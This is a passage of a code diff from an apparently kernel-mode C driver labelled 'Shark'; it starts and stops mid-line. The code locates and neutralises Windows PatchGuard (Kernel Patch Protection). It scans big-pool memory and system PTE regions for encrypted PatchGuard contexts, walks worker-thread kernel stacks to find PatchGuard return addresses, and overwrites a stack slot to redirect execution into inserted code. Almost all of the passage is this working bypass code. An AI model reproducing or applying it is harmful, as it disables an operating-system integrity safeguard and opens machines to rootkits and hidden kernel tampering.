Block->CmpDecode(RorKey, PG_FIELD_BITS - RorKeyIndex); RorKeyIndex++; - if ((u64)(Fields[1] ^ RorKey) == (u64)PgBlock->Fields[1]) { - RorKey = PgBlock->CmpDecode(RorKey, PG_FIELD_BITS - RorKeyIndex); + if ((u64)(Fields[1] ^ RorKey) == (u64)Block->Fields[1]) { + RorKey = Block->CmpDecode(RorKey, PG_FIELD_BITS - RorKeyIndex); RorKeyIndex++; - if ((u64)(Fields[0] ^ RorKey) == (u64)PgBlock->Fields[0]) { + if ((u64)(Fields[0] ^ RorKey) == (u64)Block->Fields[0]) { Context = TargetPc - PG_FIRST_FIELD_OFFSET; - RorKey = Fields[0] ^ PgBlock->Fields[0]; + RorKey = Fields[0] ^ Block->Fields[0]; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > found encrypted context < %p - %08x >\n", + "[SHARK] < %p > found encrypted context < %p - %08x >\n", Context, BaseAddress, RegionSize); @@ -2336,38 +2209,38 @@ PgCompareFields( Type, BaseAddress, RegionSize, - PgBlock, + Block, NULL, - PgBlock->ClearCallback, + Block->ClearCallback, NULL, - PgBlock->CaptureContext); + Block->CaptureContext); if (NULL != Object) { - PgBlock->Count++; + Block->Count++; Object->Context = Context; Object->ContextSize = - RegionSize - (__ptou(Context) - __ptou(BaseAddress)); + RegionSize - ((u)Context - (u)BaseAddress); - if (FALSE != PgBlock->BtcEnable) { - PgSetNewEntryWithBtc(PgBlock, Object); + if (FALSE != Block->BtcEnable) { + PgSetNewEntryWithBtc(Block, Object); } else { for (; RorKeyIndex < PG_FIELD_BITS; RorKeyIndex++) { - RorKey = PgBlock->Ror64(RorKey, PG_FIELD_BITS - RorKeyIndex); + RorKey = Block->Ror64(RorKey, PG_FIELD_BITS - RorKeyIndex); } Object->Key = RorKey; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > first rorkey\n", + "[SHARK] < %p > first rorkey\n", RorKey); #endif // DEBUG - PgSetNewEntry(PgBlock, Object, Context, RorKey); + PgSetNewEntry(Block, Object, Context, RorKey); } } @@ -2496,7 +2369,7 @@ InitializeSystemPtesBitMap( void NTAPI PgClearSystemPtesEncryptedContext( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ) { PRTL_BITMAP BitMap = NULL; @@ -2505,14 +2378,14 @@ PgClearSystemPtesEncryptedContext( u32 HintIndex = 0; u32 StartingRunIndex = 0; - NumberOfPtes = PgBlock->SystemPtes.NumberOfPtes; + NumberOfPtes = Block->SystemPtes.NumberOfPtes; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > SystemPtes < %p - %p >\n", + "[SHARK] < %p > SystemPtes < %p - %p >\n", KeGetCurrentProcessorNumber(), - PgBlock->SystemPtes.BasePte, - PgBlock->SystemPtes.BasePte + NumberOfPtes); + Block->SystemPtes.BasePte, + Block->SystemPtes.BasePte + NumberOfPtes); #endif // DEBUG BitMapSize = @@ -2529,7 +2402,7 @@ PgClearSystemPtesEncryptedContext( RtlClearAllBits(BitMap); InitializeSystemPtesBitMap( - PgBlock->SystemPtes.BasePte, + Block->SystemPtes.BasePte, NumberOfPtes, BitMap); @@ -2547,26 +2420,27 @@ PgClearSystemPtesEncryptedContext( RtlClearBits(BitMap, HintIndex, StartingRunIndex - HintIndex); - if (StartingRunIndex - - HintIndex >= BYTES_TO_PAGES(PgBlock->SizeINITKDBG)) { - /* + if (((StartingRunIndex - HintIndex) + >= BYTES_TO_PAGES(Block->SizeINITKDBG)) && + (StartingRunIndex - HintIndex) + == BYTES_TO_PAGES( + __rduptr(GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex)))) { #ifdef DEBUG vDbgPrint( - "[Shark] < %p > scan < %p - %08x > < %p, %p, %p, %p...>\n", + "[SHARK] < %p > scan < %p - %08x > < %p, %p, %p, %p...>\n", KeGetCurrentProcessorNumber(), - GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex), + GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex), (StartingRunIndex - HintIndex) * PAGE_SIZE, - __rduptr(GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex)), - __rduptr(__ptou(GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex)) + 8), - __rduptr(__ptou(GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex)) + 0x10), - __rduptr(__ptou(GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex)) + 0x18)); + __rduptr(GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex)), + __rduptr((u)GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex) + 8), + __rduptr((u)GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex) + 0x10), + __rduptr((u)GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex) + 0x18)); #endif // DEBUG - */ PgCompareFields( - PgBlock, + Block, PgSystemPtes, - GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex), + GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex), (StartingRunIndex - HintIndex) * PAGE_SIZE); } @@ -2578,82 +2452,91 @@ PgClearSystemPtesEncryptedContext( } } +b +NTAPI +FastScanPool( + __inout PPGBLOCK Block, + __in PPOOL_BIG_PAGES PoolBigPage +) +{ + b Result = FALSE; + u Index = 0; + + if (POOL_BIG_TABLE_ENTRY_FREE != + ((u64)PoolBigPage->Va & POOL_BIG_TABLE_ENTRY_FREE)) { + if (0 == BYTE_OFFSET(PoolBigPage->NumberOfPages) && + PoolBigPage->NumberOfPages >= Block->SizeINITKDBG) { + if (0 != + Block->Pool.MmIsNonPagedSystemAddressValid(PoolBigPage->Va)) { + Result = TRUE; + + for (Index = 0; + Index < PG_COMPARE_FIELDS_COUNT; + Index++) { + if (0 == __rduptr((u)PoolBigPage->Va + Index * 8) || + -1 == __rdsptr((u)PoolBigPage->Va + Index * 8) || + -2 == __rdsptr((u)PoolBigPage->Va + Index * 8) || + 0 == ((__rduptr((u)PoolBigPage->Va + Index * 8) >> VIRTUAL_ADDRESS_BITS) & 0xffff) || + 0xffff == ((__rduptr((u)PoolBigPage->Va + Index * 8) >> VIRTUAL_ADDRESS_BITS) & 0xffff)) { + Result = FALSE; + + break; + } + } + } + } + } + + return Result; +} + void NTAPI PgClearPoolEncryptedContext( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ) { PPOOL_BIG_PAGES PoolBigPage = NULL; u Index = 0; u Offset = 0; - PMMPTE PointerPde = NULL; - PMMPTE PointerPte = NULL; - b Pass = FALSE; Offset = - GetGpBlock(PgBlock)->BuildNumber > 20000 ? + GetRtBlock(Block)->BuildNumber > 20000 ? sizeof(POOL_BIG_PAGESEX) : sizeof(POOL_BIG_PAGES); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BigPool < %p - %08x >\n", + "[SHARK] < %p > BigPool < %p - %08x >\n", KeGetCurrentProcessorNumber(), - *PgBlock->Pool.PoolBigPageTable, - *PgBlock->Pool.PoolBigPageTableSize); + *Block->Pool.PoolBigPageTable, + *Block->Pool.PoolBigPageTableSize); #endif // DEBUG for (Index = 0; - Index < *PgBlock->Pool.PoolBigPageTableSize; + Index < *Block->Pool.PoolBigPageTableSize; Index++) { PoolBigPage = - __utop( - __ptou(*PgBlock->Pool.PoolBigPageTable) + (ptr)((u)*Block->Pool.PoolBigPageTable + Index * Offset); - if (POOL_BIG_TABLE_ENTRY_FREE != - ((u64)PoolBigPage->Va & POOL_BIG_TABLE_ENTRY_FREE)) { - if (PoolBigPage->NumberOfPages >= PgBlock->SizeINITKDBG) { - if (0 != - PgBlock->Pool.MmIsNonPagedSystemAddressValid( - PoolBigPage->Va)) { - - PointerPde = GetPdeAddress(PoolBigPage->Va); - - if (1 == PointerPde->u.HardLarge.LargePage) { - if (1 == PointerPde->u.Hard.NoExecute) { - continue; - } - } - else { - PointerPte = GetPteAddress(PoolBigPage->Va); - - if (1 == PointerPte->u.Hard.NoExecute) { - continue; - } - } - - /* + if (FALSE != FastScanPool(Block, PoolBigPage)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > scan < %p - %08x > < %p, %p, %p, %p...>\n", - KeGetCurrentProcessorNumber(), - PAGE_ALIGN(PoolBigPage->Va), - PoolBigPage->NumberOfPages, - __rduptr(PAGE_ALIGN(PoolBigPage->Va)), - __rduptr(__ptou(PAGE_ALIGN(PoolBigPage->Va)) + 8), - __rduptr(__ptou(PAGE_ALIGN(PoolBigPage->Va)) + 0x10), - __rduptr(__ptou(PAGE_ALIGN(PoolBigPage->Va)) + 0x18)); -#endif // DEBUG - */ - - PgCompareFields( - PgBlock, - PgPoolBigPage, - PoolBigPage->Va, - PoolBigPage->NumberOfPages); - } - } + vDbgPrint( + "[SHARK] < %p > scan < %p - %08x > < %p, %p, %p, %p...>\n", + KeGetCurrentProcessorNumber(), + PoolBigPage->Va, + PoolBigPage->NumberOfPages, + __rduptr((u)PoolBigPage->Va), + __rduptr((u)PoolBigPage->Va + 8), + __rduptr((u)PoolBigPage->Va + 0x10), + __rduptr((u)PoolBigPage->Va + 0x18)); +#endif // DEBUG + + PgCompareFields( + Block, + PgPoolBigPage, + PoolBigPage->Va, + PoolBigPage->NumberOfPages); } } } @@ -2661,7 +2544,7 @@ PgClearPoolEncryptedContext( void NTAPI PgLocatePoolObject( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in ptr Establisher, __in PPGOBJECT Object ) @@ -2671,23 +2554,22 @@ PgLocatePoolObject( u Offset = 0; Offset = - GetGpBlock(PgBlock)->BuildNumber > 20000 ? + GetRtBlock(Block)->BuildNumber > 20000 ? sizeof(POOL_BIG_PAGESEX) : sizeof(POOL_BIG_PAGES); for (Index = 0; - Index < *PgBlock->Pool.PoolBigPageTableSize; + Index < *Block->Pool.PoolBigPageTableSize; Index++) { PoolBigPage = - __utop( - __ptou(*PgBlock->Pool.PoolBigPageTable) + (ptr)((u)*Block->Pool.PoolBigPageTable + Index * Offset); if (POOL_BIG_TABLE_ENTRY_FREE != ((u64)PoolBigPage->Va & POOL_BIG_TABLE_ENTRY_FREE)) { if (FALSE != - PgBlock->Pool.MmIsNonPagedSystemAddressValid( + Block->Pool.MmIsNonPagedSystemAddressValid( PoolBigPage->Va)) { - if (PoolBigPage->NumberOfPages > PgBlock->SizeINITKDBG) { + if (PoolBigPage->NumberOfPages > Block->SizeINITKDBG) { if ((u64)Establisher >= (u64)PoolBigPage->Va && (u64)Establisher < (u64)PoolBigPage->Va + PoolBigPage->NumberOfPages) { @@ -2695,8 +2577,8 @@ PgLocatePoolObject( Object->RegionSize = PoolBigPage->NumberOfPages; #ifdef DEBUG - GetGpBlock(PgBlock)->vDbgPrint( - "[Shark] < %p > found region in pool < %p - %08x >\n", + GetRtBlock(Block)->vDbgPrint( + "[SHARK] < %p > found region in pool < %p - %08x >\n", Establisher, Object->BaseAddress, Object->RegionSize); @@ -2715,8 +2597,8 @@ PgLocatePoolObject( void NTAPI PgLocateSystemPtesObject( - __inout PPGBLOCK PgBlock, - __in ptr Establisher, + __inout PPGBLOCK Block, + __in ptr ProgramCounter, __in PPGOBJECT Object ) { @@ -2726,7 +2608,7 @@ PgLocateSystemPtesObject( u32 HintIndex = 0; u32 StartingRunIndex = 0; - NumberOfPtes = PgBlock->SystemPtes.NumberOfPtes; + NumberOfPtes = Block->SystemPtes.NumberOfPtes; BitMapSize = sizeof(RTL_BITMAP) + @@ -2743,7 +2625,7 @@ PgLocateSystemPtesObject( RtlClearAllBits(BitMap); InitializeSystemPtesBitMap( - PgBlock->SystemPtes.BasePte, + Block->SystemPtes.BasePte, NumberOfPtes, BitMap); @@ -2761,32 +2643,32 @@ PgLocateSystemPtesObject( RtlClearBits(BitMap, HintIndex, StartingRunIndex - HintIndex); - if ((u64)Establisher >= + if ((u64)ProgramCounter >= (u64)GetVaMappedByPte( - PgBlock->SystemPtes.BasePte + HintIndex) && - (u64)Establisher < + Block->SystemPtes.BasePte + HintIndex) && + (u64)ProgramCounter < (u64)GetVaMappedByPte( - PgBlock->SystemPtes.BasePte + StartingRunIndex) - PgBlock->SizeCmpAppendDllSection) { + Block->SystemPtes.BasePte + StartingRunIndex) - Block->SizeCmpAppendDllSection) { // align clear execute mask region - if (GetGpBlock(PgBlock)->BuildNumber >= 18362) { + if (GetRtBlock(Block)->BuildNumber >= 18362) { Object->BaseAddress = - GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex - 1); + GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex - 1); Object->RegionSize = (u)(StartingRunIndex - HintIndex + 1) * PAGE_SIZE; } else { Object->BaseAddress = - GetVaMappedByPte(PgBlock->SystemPtes.BasePte + HintIndex); + GetVaMappedByPte(Block->SystemPtes.BasePte + HintIndex); Object->RegionSize = (u)(StartingRunIndex - HintIndex) * PAGE_SIZE; } #ifdef DEBUG vDbgPrint( - "[Shark] < %p > found region in system ptes < %p - %08x >\n", - Establisher, + "[SHARK] < %p > found region in system ptes < %p - %08x >\n", + ProgramCounter, Object->BaseAddress, Object->RegionSize); #endif // DEBUG @@ -2807,204 +2689,111 @@ PgLocateSystemPtesObject( void NTAPI PgLocateAllObject( - __inout PPGBLOCK PgBlock, + __inout PPGBLOCK Block, __in ptr Establisher, __out PPGOBJECT Object ) { - PgLocatePoolObject( - PgBlock, - Establisher, - Object); + PgLocatePoolObject(Block, Establisher, Object); if (-1 == Object->Type) { - PgLocateSystemPtesObject( - PgBlock, - Establisher, - Object); + PgLocateSystemPtesObject(Block, Establisher, Object); } } void NTAPI PgCheckAllWorkerThread( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ) { PETHREAD Thread = NULL; PEXCEPTION_FRAME ExceptionFrame = NULL; - u64 ControlPc = 0; u64 EstablisherFrame = 0; - PRUNTIME_FUNCTION FunctionEntry = NULL; - ptr HandlerData = NULL; - u64 ImageBase = 0; + u64 ReturnAddress = 0; + u64 Stack = 0; + u Index = 0; PPGOBJECT Object = NULL; - u32 Index = 0; - - struct { - CONTEXT ContextRecord; - KNONVOLATILE_CONTEXT_POINTERS ContextPointers; - PGOBJECT Object; - }*Context; - - if (NULL != PgBlock->INITKDBG) { - Context = - __malloc(sizeof(CONTEXT) - + sizeof(KNONVOLATILE_CONTEXT_POINTERS) - + sizeof(PGOBJECT)); - - if (NULL != Context) { - Thread = GetProcessFirstThread( - GetGpBlock(PgBlock), - PsGetCurrentThreadProcess()); - - while (GetThreadListEntry( - GetGpBlock(PgBlock), - Thread) != GetProcessThreadListHead( - GetGpBlock(PgBlock), - PsGetCurrentThreadProcess())) { - if (PsGetCurrentThreadId() != PsGetThreadId(Thread) && - (u64)PgBlock->ExpWorkerThread == __rdsptr( - (u8ptr)Thread + - GetGpBlock(PgBlock)->OffsetKThreadWin32StartAddress)) { - // SwapContext - ExceptionFrame = (PEXCEPTION_FRAME)__rdsptr( - (u8ptr)Thread + - GetGpBlock(PgBlock)->DebuggerDataBlock.OffsetKThreadKernelStack); - - if (FALSE != MmIsAddressValid(ExceptionFrame)) { - EstablisherFrame = - (u64)(ExceptionFrame + 1) + - KSTART_FRAME_LENGTH + sizeof(ptr); - - Context->ContextRecord.Rip = __rdsptr(EstablisherFrame); - Context->ContextRecord.Rsp = EstablisherFrame + sizeof(ptr); - - Context->ContextRecord.Rbx = ExceptionFrame->Rbx; - Context->ContextRecord.Rbp = ExceptionFrame->Rbp; - Context->ContextRecord.Rsi = ExceptionFrame->Rsi; - Context->ContextRecord.Rdi = ExceptionFrame->Rdi; - Context->ContextRecord.R12 = ExceptionFrame->R12; - Context->ContextRecord.R13 = ExceptionFrame->R13; - Context->ContextRecord.R14 = ExceptionFrame->R14; - Context->ContextRecord.R15 = ExceptionFrame->R15; - - Context->ContextRecord.Xmm6 = ExceptionFrame->Xmm6; - Context->ContextRecord.Xmm7 = ExceptionFrame->Xmm7; - Context->ContextRecord.Xmm8 = ExceptionFrame->Xmm8; - Context->ContextRecord.Xmm9 = ExceptionFrame->Xmm9; - Context->ContextRecord.Xmm10 = ExceptionFrame->Xmm10; - Context->ContextRecord.Xmm11 = ExceptionFrame->Xmm11; - Context->ContextRecord.Xmm12 = ExceptionFrame->Xmm12; - Context->ContextRecord.Xmm13 = ExceptionFrame->Xmm13; - Context->ContextRecord.Xmm14 = ExceptionFrame->Xmm14; - Context->ContextRecord.Xmm15 = ExceptionFrame->Xmm15; - - Context->ContextPointers.Rbx = &Context->ContextRecord.Rbx; - Context->ContextPointers.Rsp = &Context->ContextRecord.Rsp; - Context->ContextPointers.Rbp = &Context->ContextRecord.Rbp; - Context->ContextPointers.Rsi = &Context->ContextRecord.Rsi; - Context->ContextPointers.Rdi = &Context->ContextRecord.Rdi; - Context->ContextPointers.R12 = &Context->ContextRecord.R12; - Context->ContextPointers.R13 = &Context->ContextRecord.R13; - Context->ContextPointers.R14 = &Context->ContextRecord.R14; - Context->ContextPointers.R15 = &Context->ContextRecord.R15; - - Context->ContextPointers.Xmm6 = &Context->ContextRecord.Xmm6; - Context->ContextPointers.Xmm7 = &Context->ContextRecord.Xmm7; - Context->ContextPointers.Xmm8 = &Context->ContextRecord.Xmm8; - Context->ContextPointers.Xmm9 = &Context->ContextRecord.Xmm9; - Context->ContextPointers.Xmm10 = &Context->ContextRecord.Xmm10; - Context->ContextPointers.Xmm11 = &Context->ContextRecord.Xmm11; - Context->ContextPointers.Xmm12 = &Context->ContextRecord.Xmm12; - Context->ContextPointers.Xmm13 = &Context->ContextRecord.Xmm13; - Context->ContextPointers.Xmm14 = &Context->ContextRecord.Xmm14; - Context->ContextPointers.Xmm15 = &Context->ContextRecord.Xmm15; - - while (EstablisherFrame >= __rdu64( - (u8ptr)Thread + - GetGpBlock(PgBlock)->DebuggerDataBlock.OffsetKThreadKernelStack) && - EstablisherFrame < __rdu64( - (u8ptr)Thread + - GetGpBlock(PgBlock)->DebuggerDataBlock.OffsetKThreadInitialStack)) { - if (FALSE != - MmIsAddressValid((ptr)Context->ContextRecord.Rip)) { - FunctionEntry = RtlLookupFunctionEntry( - Context->ContextRecord.Rip, - &ImageBase, - NULL); - - if (NULL != FunctionEntry && - FALSE != MmIsAddressValid((ptr)EstablisherFrame)) { - RtlVirtualUnwind( - UNW_FLAG_NHANDLER, - ImageBase, - Context->ContextRecord.Rip, - FunctionEntry, - &Context->ContextRecord, - &HandlerData, - &EstablisherFrame, - &Context->ContextPointers); + b Chance = FALSE; + PGOBJECT ObjectRecord = { 0 }; + + if (NULL != Block->INITKDBG) { + Thread = GetProcessFirstThread( + GetRtBlock(Block), + PsGetCurrentThreadProcess()); + + while (GetThreadListEntry(GetRtBlock(Block), + Thread) != GetProcessThreadListHead( + GetRtBlock(Block), + PsGetCurrentThreadProcess())) { + if (PsGetCurrentThreadId() != PsGetThreadId(Thread) && + (u64)Block->ExpWorkerThread == __rduptr( + (u8ptr)Thread + + GetRtBlock(Block)->OffsetKThreadWin32StartAddress)) { + Chance = FALSE; + + Stack = __rduptr((u8ptr)Thread + + GetRtBlock(Block)->DebuggerDataBlock.OffsetKThreadInitialStack); + + // protect: 1f - outswapped kernel stack + if (FALSE != MmIsAddressValid((ptr)Stack)) { + // KiScbQueueScanWorker + // this function decrypt pg worker context + // only pg code use it + + // 7600 1 level + // ExpWorkerThread -> FsRtlUninitializeSmallMcb -> FsRtlMdlReadCompleteDevEx + + // 9200 ~ 15063 1 level + // ExpWorkerThread -> KiScbQueueScanWorker(jmp) + // -> FsRtlUninitializeSmallMcb -> FsRtlMdlReadCompleteDevEx + + // 16299 ~ later 2 level + // ExpWorkerThread -> KiScbQueueScanWorker(call) + // -> FsRtlUninitializeSmallMcb -> FsRtlMdlReadCompleteDevEx + + if (GetRtBlock(Block)->BuildNumber >= 16299) { + // check KiScbQueueScanWorker + + if (Block->ExpWorkerThreadReturn == + (ptr)__rduptr(Stack - Block->OffsetExpWorkerThreadReturn)) { + + ReturnAddress = + __rduptr(Stack + - Block->OffsetExpWorkerThreadReturn + - KSTART_FRAME_LENGTH); + + if (FALSE != MmIsAddressValid((ptr)ReturnAddress)) { + if (ReturnAddress >= Block->KiScbQueueScanWorker.BeginAddress && + ReturnAddress < Block->KiScbQueueScanWorker.EndAddress) { + Chance = TRUE; } - else { - break; - } - } - else { - break; } } + } + else { + // check FsRtlUninitializeSmallMcb - if (FALSE != - MmIsAddressValid((ptr)Context->ContextRecord.Rip)) { - if (0 != Context->ContextRecord.Rip) { -#ifdef DEBUG - vDbgPrint( - "[Shark] < %p > found noimage return address in worker thread stack\n", - Context->ContextRecord.Rip); -#endif // DEBUG + if (Block->ExpWorkerThreadReturn == + (ptr)__rduptr(Stack - Block->OffsetExpWorkerThreadReturn)) { + + // 48 83 EC 48 sub rsp, 48h + // E8 5B CB FF FF call FsRtlMdlReadCompleteDevEx + ReturnAddress = + __rduptr(Stack + - Block->OffsetExpWorkerThreadReturn - 0x50); + + if (FALSE != MmIsAddressValid((ptr)ReturnAddress) && + FALSE != MmIsAddressValid((ptr)(ReturnAddress + PG_COMPARE_BYTE_COUNT))) { for (Index = 0; - Index < PgBlock->SizeINITKDBG - PG_COMPARE_BYTE_COUNT; + Index < Block->SizeINITKDBG - PG_COMPARE_BYTE_COUNT; Index++) { if (PG_COMPARE_BYTE_COUNT == RtlCompareMemory( - (u8ptr)PgBlock->INITKDBG + Index, - (ptr)Context->ContextRecord.Rip, + (u8ptr)Block->INITKDBG + Index, + (ptr)ReturnAddress, PG_COMPARE_BYTE_COUNT)) { - Context->Object.Type = -1; - - PgLocateAllObject( - PgBlock, - (ptr)Context->ContextRecord.Rip, - &Context->Object); - - if (-1 != Context->Object.Type) { - Object = PgCreateObject( - PgDeclassified, - Context->Object.Type, - Context->Object.BaseAddress, - Context->Object.RegionSize, - PgBlock, - NULL, - PgBlock->ClearCallback, - NULL, - PgBlock->CaptureContext); - - if (NULL != Object) { - PgBlock->Count++; - - // align stack must start at Body.Parameter - __wruptr( - Context->ContextRecord.Rsp - 8, - &Object->Body.Parameter); - -#ifdef DEBUG - vDbgPrint( - "[Shark] < %p > insert worker thread check code\n", - Object); -#endif // DEBUG - } - } + Chance = TRUE; break; } @@ -3014,10 +2803,60 @@ PgCheckAllWorkerThread( } } - Thread = GetNexThread(GetGpBlock(PgBlock), Thread); + if (FALSE != Chance) { + // SwapContext + ExceptionFrame = (PEXCEPTION_FRAME)__rduptr( + (u8ptr)Thread + + GetRtBlock(Block)->DebuggerDataBlock.OffsetKThreadKernelStack); + + EstablisherFrame = + ((u64)(ExceptionFrame + 1) + KSTART_FRAME_LENGTH + sizeof(ptr)); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > found patchguard address in worker thread stack\n", + __rduptr(EstablisherFrame)); +#endif // DEBUG + + ObjectRecord.Type = -1; + + PgLocateAllObject( + Block, + (ptr)__rduptr(EstablisherFrame), + &ObjectRecord); + + if (-1 != ObjectRecord.Type) { + Object = PgCreateObject( + PgDeclassified, + ObjectRecord.Type, + ObjectRecord.BaseAddress, + ObjectRecord.RegionSize, + Block, + NULL, + Block->ClearCallback, + NULL, + Block->CaptureContext); + + if (NULL != Object) { + Block->Count++; + + // align stack + // must start at Body.Parameter + __wruptr( + EstablisherFrame, + &Object->Body.Parameter); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > insert worker restart code\n", + Object); +#endif // DEBUG + } + } + } } - __free(Context); + Thread = GetNexThread(GetRtBlock(Block), Thread); } } } @@ -3025,21 +2864,37 @@ PgCheckAllWorkerThread( void NTAPI PgClearAll( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ) { - PgClearPoolEncryptedContext(PgBlock); - if (GetGpBlock(PgBlock)->BuildNumber >= 9200) { - PgClearSystemPtesEncryptedContext(PgBlock); + // init self ldr + CaptureImageExceptionValues( + GetRtBlock(Block)->Self->DataTableEntry.DllBase, + &GetRtBlock(Block)->Self->DataTableEntry.ExceptionTable, + &GetRtBlock(Block)->Self->DataTableEntry.ExceptionTableSize); + + InsertTailList( + &GetRtBlock(Block)->LoadedModuleList, + &GetRtBlock(Block)->Self->DataTableEntry.InLoadOrderLinks); + + // init self exception + InsertInvertedFunctionTable( + GetRtBlock(Block)->Self->DataTableEntry.DllBase, + GetRtBlock(Block)->Self->DataTableEntry.SizeOfImage); + + PgClearPoolEncryptedContext(Block); + + if (GetRtBlock(Block)->BuildNumber >= 9200) { + PgClearSystemPtesEncryptedContext(Block); } - if (NULL != PgBlock->INITKDBG) { - PgCheckAllWorkerThread(PgBlock); + if (NULL != Block->INITKDBG) { + PgCheckAllWorkerThread(Block); - __free(PgBlock->INITKDBG); + __free(Block->INITKDBG); - PgBlock->INITKDBG = NULL; + Block->INITKDBG = NULL; } } @@ -3050,7 +2905,7 @@ PgClearWorker( ) { u32 Index = 0; - u64ptr InitialStack = 0; + u64ptr Stack = 0; DISPATCHER_HEADER * Header = NULL; u32 ReturnLength = 0; u8ptr TargetPc = NULL; @@ -3058,73 +2913,75 @@ PgClearWorker( b Chance = TRUE; struct { - PPGBLOCK PgBlock; + PPGBLOCK Block; KEVENT Notify; WORK_QUEUE_ITEM Worker; - }*Context; + }*Context = Argument; - Context = Argument; + Context->Block->ExpWorkerThreadReturn = _ReturnAddress(); - InitializePgBlock(Context->PgBlock); + InitializePgBlock(Context->Block); - /* - if (os build >= 9600){ - // Header->Type = 0x15 - // Header->Hand = 0xac + Stack = IoGetInitialStack(); - PgBlock->WorkerContext = struct _DISPATCHER_HEADER + while (*Stack != (u64)_ReturnAddress()) { + Stack--; } - else { - // CriticalWorkQueue = 0 - // DelayedWorkQueue = 1 - PgBlock->WorkerContext = enum _WORK_QUEUE_TYPE - } - */ + Context->Block->OffsetExpWorkerThreadReturn = + (u64)IoGetInitialStack() - (u64)Stack; - InitialStack = IoGetInitialStack(); + if (GetRtBlock(Context->Block)->BuildNumber >= 9600) { + // Header->Type = 0x15 + // Header->Hand = 0xac - if (GetGpBlock(Context->PgBlock)->BuildNumber >= 9600) { - while ((u64)InitialStack != (u64)&Argument) { - Header = *(ptr *)InitialStack; + // WorkerContext = struct _DISPATCHER_HEADER + + while ((u64)Stack != (u64)&Argument) { + Header = *(ptr *)Stack; if (FALSE != MmIsAddressValid(Header)) { if (FALSE != MmIsAddressValid((u8ptr)(Header + 1) - 1)) { if (0x15 == Header->Type && 0xac == Header->Hand) { - Context->PgBlock->WorkerContext = Header; + Context->Block->WorkerContext = Header; break; } } } - InitialStack--; + Stack--; } } else { - Context->PgBlock->WorkerContext = UlongToPtr(CriticalWorkQueue); + // CriticalWorkQueue = 0 + // DelayedWorkQueue = 1 + + // WorkerContext = enum _WORK_QUEUE_TYPE + + Context->Block->WorkerContext = UlongToPtr(CriticalWorkQueue); } if (NT_SUCCESS(ZwQueryInformationThread( ZwCurrentThread(), ThreadQuerySetWin32StartAddress, - &Context->PgBlock->ExpWorkerThread, + &Context->Block->ExpWorkerThread, sizeof(ptr), &ReturnLength))) { for (Index = 0; - Index < GetGpBlock(Context->PgBlock)->DebuggerDataBlock.SizeEThread; + Index < GetRtBlock(Context->Block)->DebuggerDataBlock.SizeEThread; Index += 8) { - if ((u)Context->PgBlock->ExpWorkerThread == - __rdsptr((u8ptr)KeGetCurrentThread() + Index)) { - GetGpBlock(Context->PgBlock)->OffsetKThreadWin32StartAddress = Index; + if ((u)Context->Block->ExpWorkerThread == + __rduptr((u8ptr)KeGetCurrentThread() + Index)) { + GetRtBlock(Context->Block)->OffsetKThreadWin32StartAddress = Index; break; } } - if (GetGpBlock(Context->PgBlock)->BuildNumber >= 18362) { - TargetPc = (u8ptr)Context->PgBlock->ExpWorkerThread; + if (GetRtBlock(Context->Block)->BuildNumber >= 18362) { + TargetPc = (u8ptr)Context->Block->ExpWorkerThread; while (TRUE) { Length = DetourGetInstructionLength(TargetPc); @@ -3132,12 +2989,12 @@ PgClearWorker( if (6 == Length) { if (0 == _cmpbyte(TargetPc[0], 0x8b) && 0 == _cmpbyte(TargetPc[1], 0x83)) { - Context->PgBlock->OffsetSameThreadPassive = *(u32ptr)(TargetPc + 2); + Context->Block->OffsetSameThreadPassive = *(u32ptr)(TargetPc + 2); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > OffsetSameThreadPassive\n", - Context->PgBlock->OffsetSameThreadPassive); + "[SHARK] < %p > OffsetSameThreadPassive\n", + Context->Block->OffsetSameThreadPassive); #endif // DEBUG break; @@ -3149,38 +3006,40 @@ PgClearWorker( } } - if (0 == Context->PgBlock->SizeCmpAppendDllSection || - 0 == Context->PgBlock->OffsetEntryPoint || - 0 == Context->PgBlock->SizeINITKDBG || - NULL == GetGpBlock(Context->PgBlock)->PsInvertedFunctionTable || - NULL == Context->PgBlock->KiStartSystemThread || - NULL == Context->PgBlock->PspSystemThreadStartup || - NULL == Context->PgBlock->Pool.PoolBigPageTable || - NULL == Context->PgBlock->Pool.PoolBigPageTableSize || - NULL == Context->PgBlock->ExpWorkerThread) { + if (0 == Context->Block->SizeCmpAppendDllSection || + 0 == Context->Block->OffsetEntryPoint || + 0 == Context->Block->SizeINITKDBG || + NULL == GetRtBlock(Context->Block)->PsInvertedFunctionTable || + NULL == Context->Block->KiStartSystemThread || + NULL == Context->Block->PspSystemThreadStartup || + NULL == Context->Block->Pool.PoolBigPageTable || + NULL == Context->Block->Pool.PoolBigPageTableSize || + NULL == Context->Block->ExpWorkerThread) { Chance = FALSE; } - if (GetGpBlock(Context->PgBlock)->BuildNumber >= 9200) { - if (0 == Context->PgBlock->SystemPtes.NumberOfPtes || - NULL == Context->PgBlock->SystemPtes.BasePte || - NULL == Context->PgBlock->MmAllocateIndependentPages || - NULL == Context->PgBlock->MmFreeIndependentPages || - NULL == Context->PgBlock->MmSetPageProtection) { + if 